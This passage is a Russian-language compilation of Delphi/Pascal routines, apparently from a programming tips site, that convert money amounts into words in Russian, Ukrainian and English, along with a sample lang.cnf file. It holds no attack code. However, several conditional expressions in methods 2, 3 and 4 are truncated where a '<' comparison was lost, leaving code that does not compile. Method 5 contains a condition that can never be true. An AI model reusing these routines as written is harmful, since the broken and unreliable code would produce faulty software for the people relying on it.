{Преобразует х в 0х}
function DoubleChar(ch: string): string;
begin
if Length(ch) = 1 then
Result := '0' + ch
else
Result := ch;
end;
{преобразует денежную сумму в пропись}
function MoneyToSampl(M: Currency): string;
var
Int_Part, idx, idxIP, idxRP: integer;
Int_Str, Real_Part, Sampl: string;
begin
Int_Part := Trunc(Int(M));
Int_Str := IntToStr(Int_Part);
Real_Part := DoubleChar(IntToStr(Trunc(Int((M - Int_Part + 0.001) * 100))));
Sampl := NumToSampl(Int_Str);
idx := StrToInt(Int_Str[Length(Int_Str)]);
if idx = 0 then
idx := 5;
idxIP := Univer[idx, 1];
idx := StrToInt(Real_Part[Length(Real_Part)]);
if idx = 0 then
idx := 5;
idxRP := Univer[idx, 1];
Result := Sampl + Rubl[idxIP] + Real_Part + ' ' + Cop[idxRP];
end;
initialization
{Предположим файл находится на C:\ диске}
fFile := TIniFile.Create('c:\lang.cnf');
try
{Заполнение массива рублей}
fString := fFile.ReadString('Money', 'Rub', ',');
LexemsToDim(fString, Rubl);
{Заполнение массива копеек}
fString := fFile.ReadString('Money', 'Cop', ',');
LexemsToDim(fString, Cop);
{Заполнение массива чисел}
fString := fFile.ReadString('Nums', 'Numbers', ',');
LexemsToDim(fString, fdim);
NameNum[0, 1] := '';
for i := 1 to 9 do
NameNum[i, 1] := fdim[i - 1];
{Заполнение массива десятков}
fString := fFile.ReadString('Nums', 'Tens', ',');
LexemsToDim(fString, fdim);
NameNum[0, 2] := '';
for i := 1 to 9 do
NameNum[i, 2] := fdim[i - 1];
{Заполнение массива сотен}
fString := fFile.ReadString('Nums', 'Hundreds', ',');
LexemsToDim(fString, fdim);
NameNum[0, 3] := '';
for i := 1 to 9 do
NameNum[i, 3] := fdim[i - 1];
{Заполнение массива чисел после десяти}
fString := fFile.ReadString('Nums', 'AfterTen', ',');
LexemsToDim(fString, fdim);
NameNum[0, 4] := '';
for i := 1 to 9 do
NameNum[i, 4] := fdim[i - 1];
{Заполнение расширений чисел}
Ext[0, 1] := '';
Ext[0, 2] := '';
Ext[0, 3] := '';
{Тысячи}
fString := fFile.ReadString('Nums', 'Thou', ',');
LexemsToDim(fString, fdim);
for i := 1 to 3 do
Ext[1, i] := fdim[i - 1];
{Миллионы}
fString := fFile.ReadString('Nums', 'Mill', ',');
LexemsToDim(fString, fdim);
for i := 1 to 3 do
Ext[2, i] := fdim[i - 1];
{Миллиарды}
fString := fFile.ReadString('Nums', 'Bill', ',');
LexemsToDim(fString, fdim);
for i := 1 to 3 do
Ext[3, i] := fdim[i - 1];
{Триллион}
fString := fFile.ReadString('Nums', 'Thrill', ',');
LexemsToDim(fString, fdim);
for i := 1 to 3 do
Ext[4, i] := fdim[i - 1];
Zero := fFile.ReadString('Nums', 'Zero', '0');
if Zero[Length(Zero)] = ',' then
Zero := Copy(Zero, 1, Length(Zero) - 1) + ' ';
One := fFile.ReadString('Nums', 'One', '1');
if One[Length(One)] = ',' then
One := Copy(One, 1, Length(One) - 1) + ' ';
Two := fFile.ReadString('Nums', 'Two', '0');
if Two[Length(Two)] = ',' then
Two := Copy(Two, 1, Length(Two) - 1) + ' ';
{Заполнение таблицы окончаний}
Univer[1, 1] := 1;
Univer[1, 2] := 2;
Univer[1, 3] := 2;
Univer[1, 4] := 2;
Univer[2, 1] := 3;
Univer[2, 2] := 2;
Univer[2, 3] := 2;
Univer[2, 4] := 2;
Univer[3, 1] := 3;
Univer[3, 2] := 2;
Univer[3, 3] := 2;
Univer[3, 4] := 2;
Univer[4, 1] := 3;
Univer[4, 2] := 2;
Univer[4, 3] := 2;
Univer[4, 4] := 2;
Univer[5, 1] := 2;
Univer[5, 2] := 2;
Univer[5, 3] := 2;
Univer[5, 4] := 2;
Univer[6, 1] := 2;
Univer[6, 2] := 2;
Univer[6, 3] := 2;
Univer[6, 4] := 2;
Univer[7, 1] := 2;
Univer[7, 2] := 2;
Univer[7, 3] := 2;
Univer[7, 4] := 2;
Univer[8, 1] := 2;
Univer[8, 2] := 2;
Univer[8, 3] := 2;
Univer[8, 4] := 2;
Univer[9, 1] := 2;
Univer[9, 2] := 2;
Univer[9, 3] := 2;
Univer[9, 4] := 2;
finally
fFile.Free;
end;
end.
|
Lang.cnf.
[Nums] Numbers=один,два,три,четыре,пять,шесть,семь,восемь,девять, One=одна, Two=две, Tens=десять,двадцать,тридцать,сорок,пятьдесят,шестьдесят,семьдесят,восемьдесят,девяносто, Hundreds=сто,двести,триста,четыреста,пятьсот,шестьсот,семьсот,восемьсот,девятьсот, AfterTen=одиннадцать,двенадцать,тринадцать,четырнадцать,пятнадцать,шестнадцать,семнадцать,восемнадцать,девятнадцать, Zero=ноль, Thou=тысяча,тысяч,тысячи, Mill=миллион,миллионов,миллиона, Bill=миллиард,миллиардов,миллиарда, Thrill=триллион,триллионов,триллиона, [Money] Rub=рубль,рублей,рубля, Cop=копейка,копеек,копейки, |
Сумма прописью - Способ 12.
Автор: Васильев Сергей Геннадьевич.
function NumToStr(n: double; c: byte = 0): string;
(*
c=0 - 21.05 -> 'Двадцать один рубль 05 копеек.'
с=1 - 21.05 -> 'двадцать один'
c=2 - 21.05 -> '21-05', 21.00 -> '21='
*)
const
digit: array[0..9] of string = ('ноль', 'оди', 'два', 'три', 'четыр',
'пят', 'шест', 'сем', 'восем', 'девят');
var
ts, mln, mlrd, SecDes: Boolean;
len: byte;
summa: string;
function NumberString(number: string): string;
var
d, pos: byte;
function DigitToStr: string;
begin
result := '';
if (d <> 0) and ((pos = 11) or (pos = 12)) then
mlrd := true;
if (d <> 0) and ((pos = 8) or (pos = 9)) then
mln := true;
if (d <> 0) and ((pos = 5) or (pos = 6)) then
ts := true;
if SecDes then
begin
case d of
0: result := 'десять ';
2: result := 'двенадцать '
else
result := digit[d] + 'надцать '
end;
case pos of
4: result := result + 'тысяч ';
7: result := result + 'миллионов ';
10: result := result + 'миллиардов '
end;
SecDes := false;
mln := false;
mlrd := false;
ts := false
end
else
begin
if (pos = 2) or (pos = 5) or (pos = 8) or (pos = 11) then
case d of
1: SecDes := true;
2, 3: result := digit[d] + 'дцать ';
4: result := 'сорок ';
9: result := 'девяносто ';
5..8: result := digit[d] + 'ьдесят '
end;
if (pos = 3) or (pos = 6) or (pos = 9) or (pos = 12) then
case d of
1: result := 'сто ';
2: result := 'двести ';
3: result := 'триста ';
4: result := 'четыреста ';
5..9: result := digit[d] + 'ьсот '
end;
if (pos = 1) or (pos = 4) or (pos = 7) or (pos = 10) then
case d of
1: result := 'один ';
2, 3: result := digit[d] + ' ';
4: result := 'четыре ';
5..9: result := digit[d] + 'ь '
end;
if pos = 4 then
begin
case d of
0: if ts then
result := 'тысяч ';
1: result := 'одна тысяча ';
2: result := 'две тысячи ';
3, 4: result := result + 'тысячи ';
5..9: result := result + 'тысяч '
end;
ts := false
end;
if pos = 7 then
begin
case d of
0: if mln then
result := 'миллионов ';
1: result := result + 'миллион ';
2, 3, 4: result := result + 'миллиона ';
5..9: result := result + 'миллионов '
end;
mln := false
end;
if pos = 10 then
begin
case d of
0: if mlrd then
result := 'миллиардов ';
1: result := result + 'миллиард ';
2, 3, 4: result := result + 'миллиарда ';
5..9: result := result + 'миллиардов '
end;
mlrd := false
end
end
end;
begin
result := '';
ts := false;
mln := false;
mlrd := false;
SecDes := false;
len := length(number);
if (len = 0) or (number = '0') then
result := digit[0]
else
for pos := len downto 1 do
begin
d := StrToInt(copy(number, len - pos + 1, 1));
result := result + DigitToStr
end
end;
function MoneyString(number: string): string;
var
s: string[1];
n: string;
begin
len := length(number);
n := copy(number, 1, len - 3);
result := NumberString(n);
s := AnsiUpperCase(result[1]);
delete(result, 1, 1);
result := s + result;
if len < 2 then
begin
if len = 0 then
n := '0';
len := 2;
n := '0' + n
end;
if copy(n, len - 1, 1) = '1' then
result := result + 'рублей'
else
begin
case StrToInt(copy(n, len, 1)) of
1: result := result + 'рубль';
2, 3, 4: result := result + 'рубля'
else
result := result + 'рублей'
end
end;
len := length(number);
n := copy(number, len - 1, len);
if copy(n, 1, 1) = '1' then
n := n + ' копеек.'
else
begin
case StrToInt(copy(n, 2, 1)) of
1: n := n + ' копейка.';
2, 3, 4: n := n + ' копейки.'
else
n := n + ' копеек.'
end
end;
result := result + ' ' + n
end;
// Основная часть
begin
case c of
0: result := MoneyString(FormatFloat('0.00', n));
1: result := NumberString(FormatFloat('0', n));
2:
begin
summa := FormatFloat('0.00', n);
len := length(summa);
if copy(summa, len - 1, 2) = '00' then
begin
delete(summa, len - 2, 3);
result := summa + '='
end
else
begin
delete(summa, len - 2, 1);
insert('-', summa, len - 2);
result := summa;
end;
end
end;
end;
|
Сумма прописью - Способ 13.
Автор: Andrew Tkachenko.
Посмотрел я - много советов Число строкой, но нет преобразования на Украинский язык я подумал может модуль который я когда-то со славарем писал кому то спасет жизнь - так как у меня он уже года два работает.
unit UkrRecog;
{копирайт непомню чей. Был для русских циферок, а я переделал под
украинские}
{если кто что найдет пришлите
}
{by Andrew Tkachenko, proektwo@netcity.ru, Ukraine,
}
interface
const
UkrMonthString: array[1..12] of string[9] = (
'с?чня', 'лютого', 'березня', 'квiтня', 'травня',
'червня', 'липня', 'серпня', 'вересня', 'жовтня',
'листопада', 'грудня');
function UkrRecognizeAmount(Amount: real;
CurrName, CurrSubname: string): string;
implementation
uses Sysutils;
function UkrRecognizeAmount(Amount: real;
CurrName, CurrSubname: string): string;
{* CurrName in [грн.]
CurrSubName in [коп.]
Распознается число <= 999 999 999 999.99*}
const
suffBL: string = ' ';
suffDCT: string = 'дцять';
suffNA: string = 'надцять ';
suffDCM: string = 'десят';
suffMZ: string = 'ь';
sot: string = 'сот';
st: string = 'ст';
aa: string = 'а';
ee: string = 'и'; {e}
ii: string = '?'; {и}
oo: string = 'о';
ov: string = '?в'; {ов}
C2: string = 'дв';
C3: string = 'три';
C4: string = 'чотир';
C5: string = 'п''ят';
C6: string = 'ш?ст';
C7: string = 'с?м';
C8: string = 'в?с?м';
C9: string = 'дев''ят';
var
i: byte;
sAmount, sdInt, sdDec: string;
IsMln, IsTha {,IsDcm}, IsRange1019: boolean;
currNum, endMlx, sResult: string;
begin
if (amount <= 0) or (amount > 999999999999.99) then
begin
Result := '<<<< Ошибка в диапазоне >>>>';
Exit;
end;
STR(Amount: 16: 2, sAmount);
sdInt := Copy(sAmount, 1, 13);
sdDec := Copy(sAmount, 15, 2);
IsMln := false;
//IsDcm:=false;
IsTha := false;
IsRange1019 := false;
sResult := '';
for i := 1 to 13 do
begin
currNum := Copy(sdInt, i, 1);
if currNum <> suffBL then
begin
case i of
5, 6, 7: if currNum <> '0' then
IsMln := true;
8, 9, 10: if currNum <> '0' then
IsTha := true;
end;
if i in [2, 5, 8, 11] then {сотни}
begin
if currNum = '1' then
sResult := sResult + st + oo + suffBL;
if currNum = '2' then
sResult := sResult + C2 + ii + st + ii + suffBL;
if currNum = '3' then
sResult := sResult + C3 + st + aa + suffBL;
if currNum = '4' then
sResult := sResult + C4 + ee + st + aa + suffBL;
if currNum = '5' then
sResult := sResult + C5 + sot + suffBL;
if currNum = '6' then
sResult := sResult + C6 + sot + suffBL;
if currNum = '7' then
sResult := sResult + C7 + sot + suffBL;
if currNum = '8' then
sResult := sResult + C8 + sot + suffBL;
if currNum = '9' then
sResult := sResult + C9 + sot + suffBL;
end;
if i in [3, 6, 9, 12] then {десятки}
begin
if currNum = '1' then
IsRange1019 := true;
if currNum = '2' then
sResult := sResult + C2 + aa + suffDCT + suffBL;
if currNum = '3' then
sResult := sResult + C3 + suffDCT + suffBL;
if currNum = '4' then
sResult := sResult + 'сорок ';
if currNum = '5' then
sResult := sResult + C5 + suffMZ + suffDCM + suffBL;
if currNum = '6' then
sResult := sResult + C6 + suffMZ + suffDCM + suffBL;
if currNum = '7' then
sResult := sResult + C7 + suffMZ + suffDCM + suffBL;
if currNum = '8' then
sResult := sResult + C8 + suffMZ + suffDCM + suffBL;
if currNum = '9' then
sResult := sResult + 'дев''ян' + oo + st + oo + suffBL;
end;
if i in [4, 7, 10, 13] then {единицы}
begin
if (currNum = '0') then
if IsRange1019 then
sResult := sResult + suffDCM + suffMZ + suffBL;
if (currNum = '1') then
begin
if (i = 13) and (not IsRange1019) then
sResult := sResult + 'одна '
else
begin
if (i = 10) and (IsRange1019) then
sResult := sResult + 'оди'
else if (i = 10) and (not IsRange1019) then
sResult := sResult + 'одна '
else
sResult := sResult + 'один' {ин};
if IsRange1019 and (i = 13) then
sResult := sResult + 'адцять' + suffBL
else if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffBL;
end;
end;
if (currNum = '2') then
begin
sResult := sResult + C2;
if (i = 10) and (IsRange1019 = False) then
sResult := sResult + ii
else if (i = 10) or (IsRange1019) then
sResult := sResult + aa
else
sResult := sResult + {aa} ii;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffBL;
end;
if (currNum = '3') then
begin
sResult := sResult + C3;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffBL;
end;
if (currNum = '4') then
begin
sResult := sResult + C4;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + ee + suffBL;
end;
if (currNum = '5') then
begin
sResult := sResult + C5;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffMZ + suffBL;
end;
if (currNum = '6') then
begin
sResult := sResult + C6;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffMZ + suffBL;
end;
if (currNum = '7') then
begin
sResult := sResult + C7;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffBL;
end;
if (currNum = '8') then
begin
sResult := sResult + C8;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffBL;
end;
if (currNum = '9') then
begin
sResult := sResult + C9;
if IsRange1019 then
sResult := sResult + suffNA
else
sResult := sResult + suffMZ + suffBL;
end;
end;
endMlx := '';
case i of
4:
begin
if IsRange1019 then
endMlx := ov + suffBL
else if currNum = '1' then
endMlx := suffBL
else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
endMlx := aa + suffBL
else
endMlx := ov + suffBL;
sResult := sResult + 'мiльярд' + endMlx;
end;
7: if IsMln then
begin
if IsRange1019 then
endMlx := ov + suffBL
else if currNum = '1' then
endMlx := suffBL
else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
endMlx := aa + suffBL
else
endMlx := ov + suffBL;
sResult := sResult + 'мiльйон' + endMlx;
end;
10: if IsTha then
begin
if IsRange1019 then
endMlx := suffBL
else if currNum = '1' then
endMlx := aa + suffBL
else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
endMlx := ii + suffBL
else
endMlx := suffBL;
sResult := sResult + 'тисяч' + endMlx;
end;
end; {case}
if i in [4, 7, 10, 13] then
IsRange1019 := false;
end; {IF}
end; {FOR}
sResult := sResult + CurrName + ',' + suffBL + sdDec + suffBL + CurrSubname;
sResult := AnsiUpperCase(sResult[1]) + Copy(sResult, 2, length(sResult) - 1);
Result := sResult;
end;
end.
|
Сумма прописью - Способ 2.
{ Преобразует трехзначное число в строку }
function ConvertToWord(N: word): string;
const
Sot : array[1..9] of string[13] =
('сто','двести','триста','четыреста','пятьсот',
'шестьсот','семьсот','восемьсот','девятьсот');
Des : array[2..9] of string[13] =
('двадцать','тридцать','сорок','пятьдесят',
'шестьдесят','семьдесят','восемьдесят','девяносто');
Edin : array[0..19] of string[13] =
('','один','два','три','четыре','пять','шесть','семь',
'восемь','девять','десять','одиннадцать','двенадцать',
'тринадцать','четырнадцать','пятнадцать',
'шестнадцать','семнадцать','восемнадцать','девятнадцать');
var
S: string;
begin
S:='';
N:=N mod 1000;
if N>99 then
begin
S:=Sot[N div 100]+' ';
N:=N mod 100;
end;
if N>19 then
begin
S:=S+Des[N div 10]+' ';
N:=N mod 10;
end;
Result:=S+Edin[N];
end;
{ Возвращает сумму прописью }
function CenaToStr(r: Currency): string;
var
N, k: longint;
S: string;
begin
N:=trunc(R); S:='';
if N<>0 then
begin
if N>999999 then
begin
k:=N div 1000000;
S:=ConvertToWord(k);
if ((k-(k div 100)*100)>10) and ((k-(k div 100)*100)then
S:=S+' миллионов'
else
if (k mod 10)=1 then
S:=S+' миллион'
else
if ((k mod 10)>=2)and((k mod 10)then
S:=S+' миллиона'
else
S:=S+' миллионов';
N:=N mod 1000000;
end;
if N>999 then
begin
k:=N div 1000;
S:=S+' '+ConvertToWord(k);
if ((k-(k div 100)*100)>10)and((k-(k div 100)*100)then
S:=S+' тысяч'
else
if (k mod 10)=1 then
begin
SetLength(S, Length(S)-2);
S:=S+'на тысяча';
end
else
if (k mod 10)=2 then
begin
SetLength(S, length(S)-1);
S:=S+'е тысячи';
end
else
if ((k mod 10)>=3)and((k mod 10)then
S:=S+' тысячи'
else
S:=S+' тысяч';
N:=N mod 1000;
end;
k:=N;
S:=S+' '+ConvertToWord(k);
if ((k-(k div 100)*100)>10)and((k-(k div 100)*100)then
S:=S+' рублей'
else
if (k mod 10)=1 then
S:=S+' рубль'
else
if (k mod 10)=2 then
S:=S+' рубля'
else
if ((k mod 10)>=3)and((k mod 10)then
S:=S+' рубля'
else
S:=S+' рублей';
end;
if trunc(R)<>R then
begin
k:=round(frac(R)*100);
S:=S+' '+IntToStr(K);
if ((k-(k div 100)*100)>10)and((k-(k div 100)*100)then
S:=S+' копеек'
else
if (k mod 10)=1 then
begin
S:=S+' копейка';
end
else
if (k mod 10)=2 then
begin
S:=S+' копейки';
end
else
if ((k mod 10)>=3)and((k mod 10)then
S:=S+' копейки'
else
S:=S+' копеек';
end
else
S:=S+' 00 копеек';
S:=Trim(S);
if S<>'' then
S[1]:=AnsiUpperCase(S[1])[1];
result:=S;
end;
|
Сумма прописью - Способ 3.
unit sumstr;
interface
uses
SysUtils, StrUtils;
function SumToString(Value: string): string;
implementation
const
a: array[0..8,0..9] of string=(
('','один ','два ','три ','четыре ','пять ','шесть ','семь ','восемь ','девять '),
('','','двадцать ','тридцать ','сорок ','пятьдесят ','шестьдесят ','семьдесят ','восемьдесят ','девяносто '),
('','сто ','двести ','триста ','четыреста ','пятьсот ','шестьсот ','семьсот ','восемьсот ','девятьсот '),
('тысяч ','тысяча ','две тысячи ','три тысячи ','четыре тысячи ','пять тысячь ','шесть тысячь ','семь тысячь ',
'восемь тысячь ','девять тысячь '),
('','','двадцать ','тридцать ','сорок ','пятьдесят ','шестьдесят ','семьдесят ','восемьдесят ','девяносто '),
('','сто ','двести ','триста ','четыреста ','пятьсот ','шестьсот ','семьсот ','восемьсот ','девятьсот '),
('миллионов ','один миллион ','два миллиона ','три миллиона ','четыре миллиона ','пять миллионов ',
'шесть миллионов ','семь миллионов ','восемь миллионов ','девять миллионов '),
('','','двадцать ','тридцать ','сорок ','пятьдесят ','шестьдесят ','семьдесят ','восемьдесят ','девяносто '),
('','сто ','двести ','триста ','четыреста ','пятьсот ','шестьсот ','семьсот ','восемьсот ','девятьсот '));
b: array[0..9] of string=
('десять ','одинадцать ','двенадцать ','тринадцать ','четырнадцать ','пятьнадцать ','шестьнадцать ',
'семьнадцать ','восемьнадцать ','девятьнадцать ');
function SumToStrin(Value: string): string;
var
s, t: string;
p, pp, i, k: integer;
begin
s:=value;
if s='0' then
t:='Ноль '
else
begin
p:=length(s);
pp:=p;
if p>1 then
if (s[p-1]='1') and (s[p]>'0') then
begin
t:=b[strtoint(s[p])];
pp:=pp-2;
end;
i:=pp;
while i>0 do
begin
if (i=p-3) and (p>4) then
if s[p-4]='1' then
begin
t:=b[strtoint(s[p-3])]+'тысяч '+t;
i:=i-2;
end;
if (i=p-6) and (p>7) then
if s[p-7]='1' then
begin
t:=b[strtoint(s[p-6])]+'миллионов '+t;
i:=i-2;
end;
if i>0 then
begin
k:=strtoint(s[i]);
t:=a[p-i,k]+t;
i:=i-1;
end;
end;
end;
result:=t;
end;
procedure get2str(value: string; var hi, lo: string);
var
p: integer;
begin
p:=pos(',', value);
lo:='';
hi:='';
if p=0 then
p:=pos('.', value);
if p<>0 then
delete(value,p,1);
if p=0 then
begin
hi:=value;
lo:='00';
end;
if p>length(value) then
begin
hi:=value;
lo:='00';
end;
if p=1 then
begin
hi:='0';
lo:=value;
end;
if (p>1) and (p then
begin
hi:=copy(value,1,p-1);
lo:=copy(value,p,length(value));
end;
end;
function sumtostring(value: string): string;
var
hi, lo: string;
pr, er: integer;
begin
get2str(value,hi,lo);
if (hi='') or (lo='') then
begin
result:='';
exit;
end;
val(hi,pr,er);
if er<>0 then
begin
result:='';
exit;
end;
hi:=sumtostrin(inttostr(pr))+'руб. ';
if lo<>'00' then
begin
val(lo,pr,er);
if er<>0 then
begin
result:='';
exit;
end;
lo:=inttostr(pr);
end;
lo:=lo+' коп. ';
hi[1]:=AnsiUpperCase(hi[1])[1];
result:=hi+lo;
end;
end.
|
Сумма прописью - Способ 4.
Этот алгоритм преобразует 12345 в "двенадцать тысяч триста сорок пять". Для этого создана процедура, которая преобразует трехзначные числа в слова и прибавляет к ним "тысяч" или "миллионов". Алгоритм корректен в смысле падежей и родов. Поэтому 121000 он не переведет в "сто двадцать один тысяч".
function ShortNum(num: word; razr: integer): string;
const
hundreds: array [0..9] of string =
('', ' сто', ' двести', ' триста',
' четыреста', ' пятьсот', ' шестьсот', ' семьсот', ' восемьсот',
' девятьсот');
tens: array [0..9] of string =
('', '', ' двадцать', ' тридцать',
' сорок', ' пятьдесят', ' шестьдесят', ' семьдесят', ' восемьдесят',
' девяносто');
ones: array [3..19] of string =
(' три', ' четыре', ' пять', ' шесть',
' семь', ' восемь', ' девять', ' десять', ' одиннадцать',
' двенадцать', ' тринадцать', ' четырнадцать', ' пятнадцать',
' шестнадцать', ' семнадцать', ' восемнадцать', ' девятнадцать');
razryad: array [0..6] of string =
('', ' тысяч', ' миллион', ' миллиард',
' триллион', ' квадриллион', ' квинтиллион');
var
t: byte; // десятки
o: byte; // единицы
begin
result := hundreds[num div 100];
if num = 0 then
Exit;
t := (num mod 100) div 10;
o := num mod 10;
if t <> 1 then
begin
result := result + tens[t];
case o of
1:
if razr = 1 then
result := result + ' одна'
else
result := result + ' один';
2:
if razr = 1 then
result := result + ' две'
else
result := result + ' два';
3..9:
result := result + ones[o];
end;
result := result + razryad[razr];
case o of
1:
if razr = 1 then
result := result + 'а';
2..4:
if razr = 1 then
result := result + 'и'
else
if razr > 1 then
result := result + 'а';
else
if razr > 1 then
result := result + 'ов';
end;
end
else
begin
result := result + ones[num mod 100];
result := result + razryad[razr];
if razr > 1 then
result := result + 'ов';
end;
end;
function IntToWords(s: string): string;
var
i, count: integer;
begin
if (Length(s) or (s = '0') then
begin
result := 'ноль';
Exit;
end;
count := (Length(s) + 2) div 3;
if count > 7 then
begin
result := 'Value is too large';
Exit;
end;
result := '';
s := '00' + s;
for i := 1 to count do
result := ShortNum(StrToInt(copy(s, Length(s) - 3 * i + 1, 3)),
i - 1) + result;
if Length(result) > 0 then
delete(result, 1, 1);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Edit2.Text := IntToWords(Edit1.Text);
end;
|
Сумма прописью - Способ 5.
Данный код "считает" до миллиона долларов. Поэкспериментируйте с ним - попробуйте "посчитать" до миллиарда, конвертировать ее в рубли или переделать ее для работы с русским языком. Только не забудьте прислать мне ваши решения!
unit uNum2Str;
// Possible enhancements
// Move strings out to resource files
// Put in a general num2str utility
interface
function Num2Dollars(dNum: double): string;
implementation
uses SysUtils;
function LessThan99(dNum: double): string; forward;
// floating point modulus
function FloatMod(i, j: double): double;
begin
result := i - (Int(i / j) * j);
end;
function Hundreds(dNum: double): string;
var
workVar: double;
begin
if (dNum < 100) or (dNum > 999) then
raise Exception.Create('hundreds range exceeded');
result := '';
workVar := Int(dNum / 100);
if workVar > 0 then
result := LessThan99(workVar) + ' Hundred';
end;
function OneToNine(dNum: Double): string;
begin
if (dNum < 1) or (dNum > 9) then
raise exception.create('onetonine: value out of range');
result := 'woops';
if dNum = 1 then
result := 'One'
else if dNum = 2 then
result := 'Two'
else if dNum = 3 then
result := 'Three'
else if dNum = 4 then
result := 'Four'
else if dNum = 5.0 then
result := 'Five'
else if dNum = 6 then
result := 'Six'
else if dNum = 7 then
result := 'Seven'
else if dNum = 8 then
result := 'Eight'
else if dNum = 9 then
result := 'Nine';
end;
function ZeroTo19(dNum: double): string;
begin
if (dNum < 0) or (dNum > 19) then
raise Exception.Create('Bad value in dNum');
result := '';
if dNum = 0 then
result := 'Zero'
else if (dNum <= 1) and (dNum >= 9) then
result := OneToNine(dNum)
else if dNum = 10 then
result := 'Ten'
else if dNum = 11 then
result := 'Eleven'
else if dNum = 12 then
result := 'Twelve'
else if dNum = 13 then
result := 'Thirteen'
else if dNum = 14 then
result := 'Fourteen'
else if dNum = 15 then
result := 'Fifteen'
else if dNum = 16 then
result := 'Sixteen'
else if dNum = 17 then
result := 'Seventeen'
else if dNum = 18 then
result := 'Eighteen'
else if dNum = 19 then
result := 'Nineteen'
else
result := 'woops!';
end;
function TwentyTo99(dNum: double): string;
var
BigNum: string;
begin
if (dNum < 20) or (dNum > 99) then
raise exception.Create('TwentyTo99: dNum out of range!');
BigNum := 'woops';
if dNum >= 90 then
BigNum := 'Ninety'
else if dNum >= 80 then
BigNum := 'Eighty'
else if dNum >= 70 then
BigNum := 'Seventy'
else if dNum >= 60 then
BigNum := 'Sixty'
else if dNum >= 50 then
BigNum := 'Fifty'
else if dNum >= 40 then
BigNum := 'Forty'
else if dNum >= 30 then
BigNum := 'Thirty'
else if dNum >= 20 then
BigNum := 'Twenty';
// lose the big num
dNum := FloatMod(dNum, 10);
if dNum > 0.00 then
result := BigNum + ' ' + OneToNine(dNum)
else
result := BigNum;
end;
function LessThan99(dNum: double): string;
begin
if dNum <= 19 then
result := ZeroTo19(dNum)
else
result := TwentyTo99(dNum);
end;
function Num2Dollars(dNum: double): string;
var
centsString: string;
cents: double;
workVar: double;
begin
result := '';
if dNum < 0 then
raise Exception.Create('Negative numbers not supported');
if dNum > 999999999.99 then
raise
Exception.Create('Num2Dollars only supports up to the millions at this point!');
cents := (dNum - Int(dNum)) * 100.0;
if cents = 0.0 then
centsString := 'and 00/100 Dollars'
else if cents < 10 then
centsString := Format('and 0%1.0f/100 Dollars', [cents])
else
centsString := Format('and %2.0f/100 Dollars', [cents]);
dNum := Int(dNum - (cents / 100.0)); // lose the cents
// deal with million's
if (dNum >= 1000000) and (dNum <= 999999999) then
begin
workVar := dNum / 1000000;
workVar := Int(workVar);
if (workVar <= 9) then
result := ZeroTo19(workVar)
else if (workVar <= 99) then
result := LessThan99(workVar)
else if (workVar <= 999) then
result := Hundreds(workVar)
else
result := 'mill fubar';
result := result + ' Million';
dNum := dNum - (workVar * 1000000);
end;
// deal with 1000's
if (dNum >= 1000) and (dNum <= 999999.99) then
begin
// doing the two below statements in one line of code yields some really
// freaky floating point errors
workVar := dNum / 1000;
workVar := Int(workVar);
if (workVar <= 9) then
result := ZeroTo19(workVar)
else if (workVar <= 99) then
result := LessThan99(workVar)
else if (workVar <= 999) then
result := Hundreds(workVar)
else
result := 'thou fubar';
result := result + ' Thousand';
dNum := dNum - (workVar * 1000);
end;
// deal with 100's
if (dNum >= 100.00) and (dNum <= 999.99) then
begin
result := result + ' ' + Hundreds(dNum);
dNum := FloatMod(dNum, 100);
end;
// format in anything less than 100
if (dNum > 0) or ((dNum = 0) and (Length(result) = 0)) then
begin
result := result + ' ' + LessThan99(dNum);
end;
result := result + ' ' + centsString;
end;
end.
|
Сумма прописью - Способ 6.
{------------------------ Деньги прописью ---------------------}
function TextSum(S: double): string;
function Conv999(M: longint; fm: integer): string;
const
c1to9m: array[1..9] of string[6] =
('один', 'два', 'три', 'четыре', 'пять', 'шесть', 'семь', 'восемь',
'девять');
c1to9f: array[1..9] of string[6] =
('одна', 'две', 'три', 'четыре', 'пять', 'шесть', 'семь', 'восемь',
'девять');
c11to19: array[1..9] of string[12] =
('одиннадцать', 'двенадцать', 'тринадцать', 'четырнадцать', 'пятнадцать',
'шестнадцать', 'семнадцать', 'восемнадцать', 'девятнадцать');
c10to90: array[1..9] of string[11] =
('десять', 'двадцать', 'тридцать', 'сорок', 'пятьдесят', 'шестьдесят',
'семьдесят', 'восемьдесят', 'девяносто');
c100to900: array[1..9] of string[9] =
('сто', 'двести', 'триста', 'четыреста', 'пятьсот', 'шестьсот', 'семьсот',
'восемьсот', 'девятьсот');
var
s: string;
i: longint;
begin
s := '';
i := M div 100;
if i <> 0 then
s := c100to900[i] + ' ';
M := M mod 100;
i := M div 10;
if (M > 10) and (M < 20) then
s := s + c11to19[M - 10] + ' '
else
begin
if i <> 0 then
s := s + c10to90[i] + ' ';
M := M mod 10;
if M <> 0 then
if fm = 0 then
s := s + c1to9f[M] + ' '
else
s := s + c1to9m[M] + ' ';
end;
Conv999 := s;
end;
{--------------------------------------------------------------}
var
i: longint;
j: longint;
r: real;
t: string;
begin
t := '';
j := Trunc(S / 1000000000.0);
r := j;
r := S - r * 1000000000.0;
i := Trunc(r);
if j <> 0 then
begin
t := t + Conv999(j, 1) + 'миллиард';
j := j mod 100;
if (j > 10) and (j < 20) then
t := t + 'ов '
else
case j mod 10 of
0: t := t + 'ов ';
1: t := t + ' ';
2..4: t := t + 'а ';
5..9: t := t + 'ов ';
end;
end;
j := i div 1000000;
if j <> 0 then
begin
t := t + Conv999(j, 1) + 'миллион';
j := j mod 100;
if (j > 10) and (j < 20) then
t := t + 'ов '
else
case j mod 10 of
0: t := t + 'ов ';
1: t := t + ' ';
2..4: t := t + 'а ';
5..9: t := t + 'ов ';
end;
end;
i := i mod 1000000;
j := i div 1000;
if j <> 0 then
begin
t := t + Conv999(j, 0) + 'тысяч';
j := j mod 100;
if (j > 10) and (j < 20) then
t := t + ' '
else
case j mod 10 of
